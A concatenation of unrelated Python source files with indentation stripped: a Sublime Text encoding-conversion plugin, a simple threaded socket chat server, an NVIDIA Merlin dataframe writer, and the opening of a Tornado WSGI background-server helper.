tmp_files.remove(tmp_name)
for tmp_name in tmp_files:
tmp_file = os.path.join(TMP_DIR, tmp_name)
os.unlink(tmp_file)
def init_settings():
global encoding_cache, TMP_DIR, CACHE_ROOT
if ST3:
CACHE_ROOT = os.path.join(sublime.cache_path(), 'ConvertToUTF8')
else:
CACHE_ROOT = os.path.join(sublime.packages_path(), 'User')
TMP_DIR = os.path.join(CACHE_ROOT, 'c2u_tmp')
if not os.path.exists(TMP_DIR):
os.makedirs(TMP_DIR)
encoding_cache = EncodingCache()
get_settings()
sublime.load_settings('ConvertToUTF8.sublime-settings').add_on_change('get_settings', get_settings)
def setup_views():
clean_temp_folder()
# check existing views
for win in sublime.windows():
for view in win.views():
if not get_setting(view, 'convert_on_load'):
break
view.settings().set('is_init_dirty_state', view.is_dirty())
if view.is_dirty() or view.settings().get('origin_encoding'):
show_encoding_status(view)
continue
file_name = view.file_name()
cnt = get_setting(view, 'max_detect_lines')
threading.Thread(target=lambda: detect(view, file_name, cnt)).start()
def plugin_loaded():
init_settings()
setup_views()
def plugin_unloaded():
encoding_cache = None
sublime.load_settings('ConvertToUTF8.sublime-settings').clear_on_change('get_settings')
def wait_for_ready():
if sublime.windows():
setup_views()
else:
sublime.set_timeout(wait_for_ready, 100)
if not ST3:
init_settings()
wait_for_ready()
def detect(view, file_name, cnt):
if not file_name or not os.path.exists(file_name) or os.path.getsize(file_name) == 0:
return
encoding = encoding_cache.pop(file_name)
if encoding:
sublime.set_timeout(lambda: init_encoding_vars(view, encoding, detect_on_fail=True), 0)
return
sublime.set_timeout(lambda: view.set_status('origin_encoding', 'Detecting encoding, please wait...'), 0)
detector = UniversalDetector()
fp = open(file_name, 'rb')
for line in fp:
# cut MS-Windows CR code
line = line.replace(b'\r',b'')
detector.feed(line)
cnt -= 1
if detector.done or cnt == 0:
break
fp.close()
detector.close()
encoding = detector.result['encoding']
if encoding:
encoding = encoding.upper()
confidence = detector.result['confidence']
sublime.set_timeout(lambda: check_encoding(view, encoding, confidence), 0)
def check_encoding(view, encoding, confidence):
view_encoding = view.encoding()
result = 'Detected {0} vs {1} with {2:.0%} confidence'.format(encoding, view_encoding, confidence) if encoding else 'Encoding can not be detected'
view.set_status('origin_encoding', result)
print(result)
not_detected = not encoding or confidence < SETTINGS['confidence'] or encoding == view_encoding
# ST can't detect the encoding
if view_encoding in ('Undefined', view.settings().get('fallback_encoding')):
if not_detected:
show_selection(view)
return
else:
if not_detected:
# using encoding detected by ST
encoding = view_encoding
else:
show_selection(view, [
['{0} ({1:.0%})'.format(encoding, confidence), encoding],
['{0}'.format(view_encoding), view_encoding]
])
return
init_encoding_vars(view, encoding)
def show_encoding_status(view):
if not get_setting(view, 'show_encoding_status'):
view.set_status('origin_encoding', '')
return
encoding = view.settings().get('force_encoding')
if not encoding:
encoding = view.settings().get('origin_encoding')
if not encoding:
return
view.set_status('origin_encoding', encoding)
def init_encoding_vars(view, encoding, run_convert=True, stamp=None, detect_on_fail=False):
if not encoding:
return
view.settings().set('origin_encoding', encoding)
show_encoding_status(view)
if encoding in SKIP_ENCODINGS or encoding == view.encoding():
encoding_cache.set(view.file_name(), encoding)
return
view.settings().set('in_converting', True)
if run_convert:
if stamp == None:
stamp = '{0}'.format(time.time())
translate_tabs_to_spaces = view.settings().get('translate_tabs_to_spaces')
view.settings().set('translate_tabs_to_spaces', False)
view.run_command('convert_to_utf8', {'detect_on_fail': detect_on_fail, 'stamp': stamp})
view.settings().set('translate_tabs_to_spaces', translate_tabs_to_spaces)
def clean_encoding_vars(view):
view.settings().erase('in_converting')
view.settings().erase('origin_encoding')
view.erase_status('origin_encoding')
view.set_scratch(False)
encoding_cache.pop(view.file_name())
def remove_reverting(file_name):
while file_name in REVERTING_FILES:
REVERTING_FILES.remove(file_name)
class EncodingSelection(threading.Thread):
def __init__(self, view, names, codes):
threading.Thread.__init__(self)
self.view = view
self.names = names
self.codes = codes
def run(self):
sublime.set_timeout(self.show_panel, 0)
def show_panel(self):
window = self.view.window()
if window:
window.show_quick_panel(self.names, self.on_done)
def on_done(self, selected):
if selected == -1:
clean_encoding_vars(self.view)
else:
init_encoding_vars(self.view, self.codes[selected])
def show_selection(view, encoding_list = None):
if encoding_list:
names = [pair[0] for pair in encoding_list]
codes = [pair[1] for pair in encoding_list]
else:
names = ENCODINGS_NAME
codes = ENCODINGS_CODE
EncodingSelection(view, names, codes).start()
class ReloadWithEncoding(threading.Thread):
def __init__(self, view, encoding):
threading.Thread.__init__(self)
self.view = view
self.encoding = encoding
def run(self):
sublime.set_timeout(self.reload, 0)
def reload(self):
init_encoding_vars(self.view, self.encoding)
def reload_encoding(view, encoding):
ReloadWithEncoding(view, encoding).start()
stamps = {}
class ShowEncodingSelectionCommand(sublime_plugin.TextCommand):
def run(self, edit):
show_selection(self.view)
class ReloadWithEncodingCommand(sublime_plugin.TextCommand):
def run(self, edit, encoding):
reload_encoding(self.view, encoding)
class PyInstructionCommand(sublime_plugin.TextCommand):
def get_branch(self, platform, arch):
return [{
'linux-x64': 'master',
'linux-x32': 'x32',
}, {
'linux-x64': 'linux-x64',
'linux-x32': 'linux-x32',
'osx-x64': 'osx',
}][ST3].get(platform + '-' + arch)
def run(self, edit, encoding, file_name, need_codecs):
self.view.set_name('ConvertToUTF8 Instructions')
self.view.set_scratch(True)
self.view.settings().set("word_wrap", True)
msg = 'File: {0}\nEncoding: {1}\nError: '.format(file_name, encoding)
if need_codecs:
msg = msg + 'Codecs missing\n\n'
branch = self.get_branch(sublime.platform(), sublime.arch())
if branch:
ver = '33' if ST3 else '26'
msg = msg + 'Please install Codecs{0} plugin (https://github.com/seanliang/Codecs{0}/tree/{1}) or upgrade to Sublime Text 4.\n'.format(ver, branch)
else:
import platform
msg = msg + 'Please send the following information to sunlxy (at) yahoo.com:\n====== Debug Information ======\nVersion: {0}-{1}\nPlatform: {2}\nPath: {3}\nEncoding: {4}\n'.format(
sublime.version(), sublime.arch(), platform.platform(), sys.path, encoding
)
else:
msg = msg + 'Unsupported encoding, see http://docs.python.org/library/codecs.html#standard-encodings\n\nPlease try other tools such as iconv.\n'
self.view.insert(edit, 0, msg)
self.view.set_read_only(True)
self.view.window().focus_view(self.view)
class ConvertToUtf8Command(sublime_plugin.TextCommand):
def run(self, edit, encoding=None, stamp=None, detect_on_fail=False):
view = self.view
if encoding:
view.settings().set('force_encoding', encoding)
origin_encoding = view.settings().get('origin_encoding')
# convert only when ST can't load file properly
run_convert = (view.encoding() == view.settings().get('fallback_encoding'))
if origin_encoding:
if origin_encoding == encoding:
return
view.set_scratch(False)
run_convert = False
init_encoding_vars(view, encoding, run_convert, stamp)
return
else:
encoding = view.settings().get('origin_encoding')
if not encoding:
return
file_name = view.file_name()
if not (file_name and os.path.exists(file_name)):
return
# try fast decode
fp = None
try:
fp = codecs.open(file_name, 'rb', encoding, errors='strict')
contents = fp.read()
except LookupError as e:
try:
# reload codecs
import _multibytecodec, imp, encodings
imp.reload(encodings)
imp.reload(codecs)
codecs.getencoder(encoding)
view.run_command('reload_with_encoding', {'encoding': encoding})
except (ImportError, LookupError) as e:
need_codecs = (type(e) == ImportError)
clean_encoding_vars(view)
view.window().new_file().run_command('py_instruction', {'encoding': encoding, 'file_name': file_name, 'need_codecs': need_codecs})
return
except UnicodeDecodeError as e:
if detect_on_fail:
detect(view, file_name, get_setting(view, 'max_detect_lines'))
return
superset = SUPERSETS.get(encoding)
if superset:
print('Try encoding {0} instead of {1}.'.format(superset, encoding))
init_encoding_vars(view, superset, True, stamp)
return
if CONFIRM_IS_AVAILABLE:
if sublime.ok_cancel_dialog(u'Errors occurred while converting {0} with {1} encoding.\n\n'
'WARNING: Continue to load this file using {1}, malformed data will be ignored.'
'\n\nPress "Cancel" to choose another encoding manually.'.format
(os.path.basename(file_name), encoding)):
fp.close()
fp = codecs.open(file_name, 'rb', encoding, errors='ignore')
contents = fp.read()
else:
show_selection(view)
return
else:
view.set_status('origin_encoding', u'Errors occurred while converting {0} with {1} encoding'.format
(os.path.basename(file_name), encoding))
show_selection(view)
return
finally:
if fp:
fp.close()
encoding_cache.set(file_name, encoding)
contents = contents.replace('\r\n', '\n').replace('\r', '\n')
regions = sublime.Region(0, view.size())
sel = view.sel()
rs = [(view.rowcol(x.a), view.rowcol(x.b)) for x in sel]
vp = view.viewport_position()
view.set_viewport_position((0, 0), False)
view.replace(edit, regions, contents)
if DIFF_IS_AVAILABLE and get_setting(view, 'reset_diff_markers'):
view.reset_reference_document()
view.settings().set('origin_content', contents)
sel.clear()
for x in rs:
sel.add(self.find_region(x))
view.set_viewport_position(vp, False)
stamps[file_name] = stamp
sublime.status_message('{0} -> UTF8'.format(encoding))
def find_region(self, reg):
view = self.view
(x1, y1), (x2, y2) = reg
reverse = x1 > x2 or (x1 == x2 and y1 > y2)
# swap these two points for easy computing
if reverse:
(x1, y1), (x2, y2) = (x2, y2), (x1, y1)
_, end1 = view.rowcol(view.line(view.text_point(x1, 0)).b)
# exceed one line, narrow the selection
if y1 > end1:
# forward to end
y1 = end1
if x1 == x2:
if y2 > end1:
# backward to start
y2 = y1
else:
_, end2 = view.rowcol(view.line(view.text_point(x2, 0)).b)
if y2 > end2:
# backward to beginning
y2 = 0
pt0 = view.text_point(x1, y1)
pt1 = view.text_point(x2, y2)
# swap the points back
if reverse:
pt0, pt1 = pt1, pt0
return sublime.Region(pt0, pt1)
def description(self):
encoding = self.view.settings().get('origin_encoding')
if not encoding:
return
return '{0} -> UTF8'.format(encoding)
def is_enabled(self):
return self.view.encoding() != 'Hexadecimal'
class ConvertFromUtf8Command(sublime_plugin.TextCommand):
def run(self, edit):
view = self.view
encoding = view.settings().get('force_encoding')
if not encoding:
encoding = view.settings().get('origin_encoding')
file_name = view.file_name()
if not encoding or encoding == 'UTF-8':
encoding_cache.pop(file_name)
return
# remember current folded regions
regions = [[x.a, x.b] for x in view.folded_regions()]
if regions:
view.settings().set('folded_regions', regions)
vp = view.viewport_position()
view.settings().set('viewport_position', [vp[0], vp[1]])
fp = None
try:
fp = open(file_name, 'rb')
contents = codecs.EncodedFile(fp, encoding, 'UTF-8').read()
except (LookupError, UnicodeEncodeError) as e:
sublime.error_message(u'Can not convert file encoding of {0} to {1}, it was saved as UTF-8 instead:\n\n{2}'.format
(os.path.basename(file_name), encoding, e))
return
finally:
if fp:
fp.close()
# write content to temporary file
tmp_name = os.path.join(TMP_DIR, get_temp_name(file_name))
fp = open(tmp_name, 'wb')
fp.write(contents)
fp.close()
if not get_setting(view, 'lazy_reload'):
# os.rename has "Invalid cross-device link" issue
os.chmod(tmp_name, os.stat(file_name)[0])
shutil.move(tmp_name, file_name)
else:
# copy the timestamp from original file
mtime = os.path.getmtime(file_name)
os.utime(tmp_name, (mtime, mtime))
encoding_cache.set(file_name, encoding)
view.settings().set('prevent_detect', True)
sublime.status_message('UTF8 -> {0}'.format(encoding))
def description(self):
encoding = self.view.settings().get('origin_encoding')
if not encoding:
return
return 'UTF8 -> {0}'.format(encoding)
class ConvertTextToUtf8Command(sublime_plugin.TextCommand):
def get_text(self, region):
content = self.view.substr(region)
try:
return content.encode('CP1252')
except Exception:
return None
def detect(self, begin_line, end_line):
begin_line = int(begin_line)
end_line = int(end_line)
begin_point = self.view.text_point(begin_line + 1, 0)
end_point = self.view.text_point(end_line, 0) - 1
region = sublime.Region(begin_point, end_point)
content = self.get_text(region)
if not content:
return
detector = UniversalDetector()
detector.feed(content)
detector.close()
encoding = detector.result['encoding']
confidence = detector.result['confidence']
encoding = encoding.upper()
if confidence < SETTINGS['confidence'] or encoding in SKIP_ENCODINGS:
return
self.view.run_command('convert_text_to_utf8', {'begin_line': begin_line, 'end_line': end_line, 'encoding': encoding})
def run(self, edit, begin_line, end_line, encoding = None):
begin_line = int(begin_line)
end_line = int(end_line)
if not encoding:
# detect the encoding
sublime.set_timeout(lambda: self.detect(begin_line, end_line), 0)
return
view = self.view
last_line = begin_line + 50
if last_line > end_line:
last_line = end_line
begin_point = view.text_point(begin_line + 1, 0)
end_point = view.text_point(last_line, 0) - 1
region = sublime.Region(begin_point, end_point)
text = self.get_text(region)
while True:
if encoding:
try:
text = text.decode(encoding)
except UnicodeDecodeError:
encoding = SUPERSETS.get(encoding)
continue
break
else:
return
view.replace(edit, region, text)
if last_line < end_line:
view.run_command('convert_text_to_utf8', {'begin_line': last_line, 'end_line': end_line, 'encoding': encoding})
def is_enabled(self):
return get_setting(self.view, 'convert_on_find')
class ConvertToUTF8Listener(sublime_plugin.EventListener):
def is_find_results(self, view):
return view.settings().get('syntax') == 'Packages/Default/Find Results.hidden-tmLanguage'
def check_clones(self, view):
clone_numbers = view.settings().get('clone_numbers', 0)
if clone_numbers:
check_times = view.settings().get('check_times', clone_numbers)
if check_times:
view.settings().set('check_times', check_times - 1)
return True
view.settings().erase('check_times')
return False
def on_new(self, view):
if self.is_find_results(view):
view.settings().set('last_lines', 0)
return
if get_setting(view, 'default_encoding_on_create'):
init_encoding_vars(view, get_setting(view, 'default_encoding_on_create'), False)
def on_clone(self, view):
clone_numbers = view.settings().get('clone_numbers', 0)
view.settings().set('clone_numbers', clone_numbers + 1)
encoding = view.settings().get('origin_encoding')
if encoding:
view.set_status('origin_encoding', encoding)
def on_close(self, view):
clone_numbers = view.settings().get('clone_numbers', 0)
if clone_numbers:
view.settings().set('clone_numbers', clone_numbers - 1)
else:
remove_reverting(view.file_name())
if self.is_find_results(view):
view.settings().erase('last_lines')
def on_load(self, view):
encoding = view.encoding()
if encoding == 'Hexadecimal' or encoding.endswith(' BOM'):
return
#if sublime text already load right, no need to check the file's encoding
if encoding not in ('Undefined', view.settings().get('fallback_encoding')):
return
file_name = view.file_name()
if not file_name:
return
if self.check_clones(view):
return
encoding = view.settings().get('origin_encoding')
if encoding and not view.get_status('origin_encoding'):
view.set_status('origin_encoding', encoding)
# file is reloading
if view.settings().get('prevent_detect'):
if view.is_dirty():
# changes have not been saved
sublime.set_timeout(lambda: self.on_deactivated(view), 0)
return
else:
# treat as a new file
sublime.set_timeout(lambda: self.clean_reload(view, file_name), 250)
return
else:
return
if not get_setting(view, 'convert_on_load'):
return
self.perform_action(view, file_name, 5)
def on_activated(self, view):
if view.settings().get('is_preview'):
self.perform_action(view, view.file_name(), 3)
def is_preview(self, view):
window = view.window()
if not window:
return True
view_index = window.get_view_index(view)
return view_index[1] == -1
def clean_reload(self, view, file_name):
window = view.window()
if not window:
sublime.set_timeout(lambda: self.clean_reload(view, file_name), 100)
return
for v in window.views():
if v.file_name() == file_name:
v.settings().erase('prevent_detect')
cnt = get_setting(view, 'max_detect_lines')
threading.Thread(target=lambda: detect(view, file_name, cnt)).start()
def perform_action(self, view, file_name, times):
if not get_setting(view, 'preview_action') and self.is_preview(view):
if times > 0:
# give it another chance before everything is ready
sublime.set_timeout(lambda: self.perform_action(view, file_name, times - 1), 100)
return
view.settings().set('is_preview', True)
return
view.settings().erase('is_preview')
cnt = get_setting(view, 'max_detect_lines')
threading.Thread(target=lambda: detect(view, file_name, cnt)).start()
def on_modified(self, view):
encoding = view.encoding()
if encoding == 'Hexadecimal':
return
file_name = view.file_name()
if not file_name or view.is_loading():
if get_setting(view, 'convert_on_find') and self.is_find_results(view):
begin_line = view.settings().get('last_lines', 0)
end_line = view.rowcol(view.size())[0]
if end_line > begin_line:
view.settings().set('last_lines', end_line)
begin_point = view.text_point(begin_line, 0)
line = view.line(begin_point)
text = view.substr(line)
if text.endswith(':'):
# find the file name
file_name = text[:-1]
# skip opened file
if view.window().find_open_file(file_name):
return
encoding = encoding_cache.get(file_name)
if encoding in SKIP_ENCODINGS:
return
sublime.set_timeout(lambda: view.run_command('convert_text_to_utf8', {'begin_line': begin_line, 'end_line': end_line, 'encoding': encoding}), 0)
return
if not view.settings().get('in_converting'):
if view.settings().get('is_preview'):
view.settings().erase('is_preview')
detect(view, file_name, get_setting(view, 'max_detect_lines'))
return
if self.check_clones(view):
return
command = view.command_history(0, True)
command1 = view.command_history(1, True)
if command == NONE_COMMAND:
if command1[0] == 'convert_to_utf8':
view.run_command('redo')
else:
view.set_scratch(not view.settings().get('is_init_dirty_state', False))
elif command[0] == 'convert_to_utf8':
if file_name in stamps:
if stamps[file_name] == command[1].get('stamp'):
view.set_scratch(True)
elif command[0] == 'revert':
if command1 == NONE_COMMAND:
# on_modified will be invoked twice for each revert
if file_name not in REVERTING_FILES:
REVERTING_FILES.insert(0, file_name)
return
remove_reverting(file_name)
if view.settings().get('prevent_detect'):
sublime.set_timeout(lambda: self.undo_me(view), 0)
else:
# file was modified outside
cnt = get_setting(view, 'max_detect_lines')
threading.Thread(target=lambda: detect(view, file_name, cnt)).start()
else:
view.set_scratch(False)
def undo_me(self, view):
view.settings().erase('prevent_detect')
view.run_command('undo')
# restore folded regions
regions = view.settings().get('folded_regions')
if regions:
view.settings().erase('folded_regions')
folded = [sublime.Region(int(region[0]), int(region[1])) for region in regions]
view.fold(folded)
vp = view.settings().get('viewport_position')
if vp:
view.settings().erase('viewport_position')
view.set_viewport_position((vp[0], vp[1]), False)
# st3 will reload file immediately
if view.settings().get('revert_to_scratch') or (ST3 and not get_setting(view, 'lazy_reload')):
view.set_scratch(True)
if DIFF_IS_AVAILABLE and get_setting(view, 'reset_diff_markers'):
view.set_reference_document(view.settings().get('origin_content'))
def on_deactivated(self, view):
# st2 will reload file when on_deactivated
if view.settings().get('prevent_detect'):
file_name = view.file_name()
if get_setting(view, 'lazy_reload'):
tmp_name = os.path.join(TMP_DIR, get_temp_name(file_name))
os.chmod(tmp_name, os.stat(file_name)[0])
shutil.move(tmp_name, file_name)
remove_reverting(file_name)
view.settings().set('revert_to_scratch', not view.is_dirty())
# make ST stop asking about reloading
view.run_command('revert')
def on_pre_save(self, view):
if view.encoding() == 'Hexadecimal':
return
force_encoding = view.settings().get('force_encoding')
if force_encoding == 'UTF-8':
view.set_encoding(force_encoding)
return
if not view.settings().get('in_converting'):
return
if self.check_clones(view):
return
view.set_encoding('UTF-8')
def on_post_save(self, view):
view_encoding = view.encoding()
if view_encoding == 'Hexadecimal':
return
if not view.settings().get('in_converting'):
return
if self.check_clones(view):
return
file_name = view.file_name()
if file_name in stamps:
del stamps[file_name]
if not get_setting(view, 'convert_on_save'):
return
# file was saved with other encoding
if view_encoding != 'UTF-8':
clean_encoding_vars(view)
return
view.run_command('convert_from_utf8')
|
chatServer.py | #!/usr/bin/env python3
"""Server for multithreaded (asynchronous) chat application."""
from socket import *
from socket import AF_INET, socket, SOCK_STREAM
from threading import Thread
def accept_incoming_connections():
"""Sets up handling for incoming clients."""
while True:
client, client_address = SERVER.accept()
print("%s:%s has connected." % client_address)
client.send(bytes("Welcome to LSBW (Like Slack, But Worse)! Now type your name and press enter!", "utf8"))
addresses[client] = client_address
Thread(target=handle_client, args=(client,)).start()
def handle_client(client): # Takes client socket as argument.
"""Handles a single client connection."""
name = client.recv(BUFSIZ).decode("utf8")
welcome = 'Welcome %s! If you ever want to quit, type "{quit}" to exit.' % name
client.send(bytes(welcome, "utf8"))
msg = "%s has joined the chat!" % name
broadcast(bytes(msg, "utf8"))
clients[client] = name
while True:
msg = client.recv(BUFSIZ)
print(msg)
if msg != bytes("{quit}", "utf8"):
broadcast(msg, name+": ")
else:
client.send(bytes("{quit}", "utf8"))
client.close()
del clients[client]
broadcast(bytes("%s has left the chat." % name, "utf8"))
break
def broadcast(msg, prefix=""): # prefix is for name identification.
"""Broadcasts a message to all the clients."""
for sock in clients:
print(sock)
sock.send(bytes(prefix, "utf8")+msg)
clients = {}
addresses = {}
HOST = ''
PORT = 44000
BUFSIZ = 1024
ADDR = (HOST, PORT)
SERVER = socket(AF_INET, SOCK_STREAM)
# SERVER.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
SERVER.bind(ADDR)
if __name__ == "__main__":
SERVER.listen(5)
print("Waiting for connection...")
ACCEPT_THREAD = Thread(target=accept_incoming_connections)
ACCEPT_THREAD.start()
ACCEPT_THREAD.join()
SERVER.close()
|
writer.py | #
# Copyright (c) 2022, NVIDIA CORPORATION.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import json
import math
import queue
import threading
from typing import Optional
try:
import cupy as cp
except ImportError:
cp = None
import numpy as np
from fsspec.core import get_fs_token_paths
from merlin.core.dispatch import annotate
from .shuffle import shuffle_df
class Writer:
def add_data(self, df):
raise NotImplementedError()
def package_general_metadata(self):
raise NotImplementedError()
@classmethod
def write_general_metadata(cls, data, fs, out_dir, schema):
raise NotImplementedError()
@classmethod
def write_special_metadata(cls, data, fs, out_dir):
raise NotImplementedError()
def close(self):
pass
class ThreadedWriter(Writer):
def __init__(
self,
out_dir,
num_out_files=30,
num_threads=0,
cats=None,
conts=None,
labels=None,
shuffle=None,
fs=None,
use_guid=False,
bytes_io=False,
cpu=False,
fns=None,
suffix=None,
):
# set variables
self.out_dir = out_dir
self.cats = cats
self.conts = conts
self.labels = labels
self.shuffle = shuffle
self.column_names = None
if labels and conts:
self.column_names = labels + conts
self.col_idx = {}
self.num_threads = num_threads
self.fns = [fns] if isinstance(fns, str) else fns
if self.fns:
# If specific file names were specified,
# ignore `num_out_files` argument
self.num_out_files = len(self.fns)
else:
self.num_out_files = num_out_files
self.num_samples = [0] * self.num_out_files
self.data_paths = None
self.need_cal_col_names = True
self.use_guid = use_guid
self.bytes_io = bytes_io
self.cpu = cpu
self.suffix = suffix
# Resolve file system
self.fs = fs or get_fs_token_paths(str(out_dir))[0]
# Only use threading if num_threads > 1
self.queue = None
if self.num_threads > 1:
# create thread queue and locks
self.queue = queue.Queue(num_threads)
self.write_locks = [threading.Lock() for _ in range(num_out_files)]
# signifies that end-of-data and that the thread should shut down
self._eod = object()
# create and start threads
for _ in range(num_threads):
write_thread = threading.Thread(target=self._write_thread, daemon=True)
write_thread.start()
def set_col_names(self, labels, cats, conts):
self.cats = cats
self.conts = conts
self.labels = labels
self.column_names = labels + conts
def _write_table(self, idx, data):
return
def _write_thread(self):
return
@annotate("add_data", color="orange", domain="merlin_python")
def add_data(self, df):
# Early return
if isinstance(df, list) and not df:
return
# Populate columns idxs
if not self.col_idx:
_df = df[0] if isinstance(df, list) else df
for i, x in enumerate(_df.columns.values):
self.col_idx[str(x)] = i
if isinstance(df, list):
# Data is already partitioned into a list
self._add_data_list(df)
elif self.num_out_files == 1:
# Only writing to a single file. No need to
# scatter or slice the data before writing
self._add_single_file(df)
else:
# Use different mechanism to decompose and write each df
# partition, depending on the backend (pandas or cudf).
if self.cpu:
self._add_data_slice(df)
else:
self._add_data_scatter(df)
# wait for all writes to finish before exiting
# (so that we aren't using memory)
if self.num_threads > 1:
self.queue.join()
def _add_data_scatter(self, gdf):
"""Write scattered pieces.
This method is for cudf-backed data only.
"""
assert not self.cpu
# Generate `ind` array to map each row to an output file.
# This approach is certainly more optimized for shuffling
# than it is for non-shuffling, but using a single code
# path is probably worth the (possible) minor overhead.
nrows = gdf.shape[0]
typ = np.min_scalar_type(nrows * 2)
if self.shuffle:
ind = cp.random.choice(cp.arange(self.num_out_files, dtype=typ), nrows)
else:
ind = cp.arange(nrows, dtype=typ)
cp.floor_divide(ind, math.ceil(nrows / self.num_out_files), out=ind)
for x, group in enumerate(
gdf.scatter_by_map(ind, map_size=self.num_out_files, keep_index=False)
):
self.num_samples[x] += len(group)
if self.shuffle:
group = shuffle_df(group)
if self.num_threads > 1:
self.queue.put((x, group))
else:
self._write_table(x, group)
def _add_data_slice(self, df):
"""Write shuffled slices.
This method works for both pandas and cudf backends.
"""
# Pandas does not support the `scatter_by_map` method
# used in `_add_data_scatter`. So, we manually shuffle
# the df and write out slices.
if self.shuffle:
df = shuffle_df(df)
int_slice_size = df.shape[0] // self.num_out_files
slice_size = int_slice_size if df.shape[0] % int_slice_size == 0 else int_slice_size + 1
for x in range(self.num_out_files):
start = x * slice_size
end = start + slice_size
# check if end is over length
end = end if end <= df.shape[0] else df.shape[0]
to_write = df.iloc[start:end]
self.num_samples[x] = self.num_samples[x] + to_write.shape[0]
if self.num_threads > 1:
self.queue.put((x, to_write))
else:
self._write_table(x, to_write)
def _add_data_list(self, dfs):
"""Write a list of DataFrames"""
assert len(dfs) == self.num_out_files
for x, df in enumerate(dfs):
if self.shuffle:
df = shuffle_df(df)
self.num_samples[x] = self.num_samples[x] + df.shape[0]
if self.num_threads > 1:
self.queue.put((x, df))
else:
self._write_table(x, df)
def _add_single_file(self, df):
"""Write to single file.
This method works for both pandas and cudf backends.
"""
df = shuffle_df(df) if self.shuffle else df
self.num_samples[0] = self.num_samples[0] + df.shape[0]
if self.num_threads > 1:
self.queue.put((0, df))
else:
self._write_table(0, df)
def package_general_metadata(self):
data = {}
if self.cats is None:
return data
data["data_paths"] = self.data_paths
data["file_stats"] = []
for i, path in enumerate(self.data_paths):
fn = path.split(self.fs.sep)[-1]
data["file_stats"].append({"file_name": fn, "num_rows": self.num_samples[i]})
# cats
data["cats"] = []
for c in self.cats:
data["cats"].append({"col_name": c, "index": self.col_idx[c]})
# conts
data["conts"] = []
for c in self.conts:
data["conts"].append({"col_name": c, "index": self.col_idx[c]})
# labels
data["labels"] = []
for c in self.labels:
data["labels"].append({"col_name": c, "index": self.col_idx[c]})
return data
@classmethod
def write_general_metadata(cls, data, fs, out_dir, schema=None):
if not data:
return
data_paths = data.pop("data_paths", [])
num_out_files = len(data_paths)
# Write file_list
file_list_writer = fs.open(fs.sep.join([out_dir, "_file_list.txt"]), "w")
file_list_writer.write(str(num_out_files) + "\n")
for f in data_paths:
file_list_writer.write(f + "\n")
file_list_writer.close()
# Write metadata json
metadata_writer = fs.open(fs.sep.join([out_dir, "_metadata.json"]), "w")
json.dump(data, metadata_writer)
metadata_writer.close()
# Write keyset file
if schema:
fs = get_fs_token_paths(out_dir)[0]
with fs.open(fs.sep.join([out_dir, "_hugectr.keyset"]), "wb") as writer:
for col in schema:
try:
for v in range(col.properties["embedding_sizes"]["cardinality"] + 1):
writer.write(v.to_bytes(4, "big"))
except KeyError:
pass
@classmethod
def write_special_metadata(cls, data, fs, out_dir):
pass
def _close_writers(self) -> Optional[dict]:
for writer in self.data_writers:
writer.close()
return None
def close(self):
if self.num_threads > 1:
# wake up all the worker threads and signal for them to exit
for _ in range(self.num_threads):
self.queue.put(self._eod)
# wait for pending writes to finish
self.queue.join()
# Close writers and collect various metadata
_general_meta = self.package_general_metadata()
_special_meta = self._close_writers() # pylint: disable=assignment-from-none
# Move in-memory file to disk
if self.bytes_io:
_special_meta = self._bytesio_to_disk()
return _general_meta, _special_meta
def _bytesio_to_disk(self):
raise NotImplementedError("In-memory buffering/shuffling not implemented for this format.")
|
_background_server.py | # Note: the code in this file is adapted from source at
# https://github.com/googlecolab/colabtools/blob/master/google/colab/html/_background_server.py
# The following is its original license:
# Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""WSGI server utilities to run in thread. WSGI chosen for easier interop."""
import threading
import portpicker
import tornado
import tornado.web
import tornado.ioloop
import tornado.httpserver
from typing import Callable, Optional, Tuple, TypeVar
def _build_server(
started: threading.Event,
stopped: threading.Event,
ioloop: tornado.ioloop.IOLoop,
wsgi_app: tornado.web.Application,
port: int,
timeout: int,
) -> Tuple[tornado.httpserver.HTTPServer, Callable[[], None]]:
"""Closure to build the server function to be passed to the thread.
Args:
started: Threading event to notify when started.
ioloop: IOLoop
port: Port number to serve on.
timeout: Http timeout in seconds.
wsgi_app: WSGI application to serve.
Returns:
A function that takes a port and WSGI app and notifies
about its status via the threading events provided.
"""
address = "" # Bind to all.
# convert potential WSGI app
if isinstance(wsgi_app, tornado.web.Application):
app = wsgi_app
else:
app = tornado.wsgi.WSGIContainer(wsgi_app)
httpd = tornado.httpserver.HTTPServer(
app, idle_connection_timeout=timeout, body_timeout=timeout
)
def start_server() -> None:
"""Serve a WSGI application until stopped."""
ioloop.make_current()
httpd.listen(port=port, address=address)
ioloop.add_callback(started.set)
ioloop.start()
stopped.set()
return httpd, start_server
T = TypeVar("T", bound="_WsgiServer")
class _WsgiServer:
"""Wsgi server."""
_app: tornado.web.Application
_port: Optional[int]
_server_thread: Optional[threading.Thread]
_stopped: Optional[threading.Event]
_ioloop: Optional[tornado.ioloop.IOLoop]
_server: Optional[tornado.httpserver.HTTPServer]
def __init__(self: T, wsgi_app: tornado.web.Application) -> None:
"""Initialize the WsgiServer.
Parameters
----------
wsgi_app:
WSGI pep-333 application to run.
"""
self._app = wsgi_app
self._port = None
self._server_thread = None
# Threading.Event objects used to communicate about the status
# of the server running in the background thread.
# These will be initialized after building the server.
self._stopped = None
self._ioloop = None
self._server = None
@property
def wsgi_app(self: T) -> tornado.web.Application:
"""Returns the wsgi app instance."""
return self._app
@property
def port(self: T) -> int:
"""Returns the current port or error if the server is not started.
Returns
-------
port: int
The port being used by the server.
Raises
------
RuntimeError: If server has not been started yet.
"""
if self._server_thread is None or self._port is None:
raise RuntimeError("Server not running.")
return self._port
def stop(self: T) -> T:
"""Stops the server thread.
If server thread is already stopped, this is a no-op.
Returns
-------
self :
Returns self for chaining.
"""
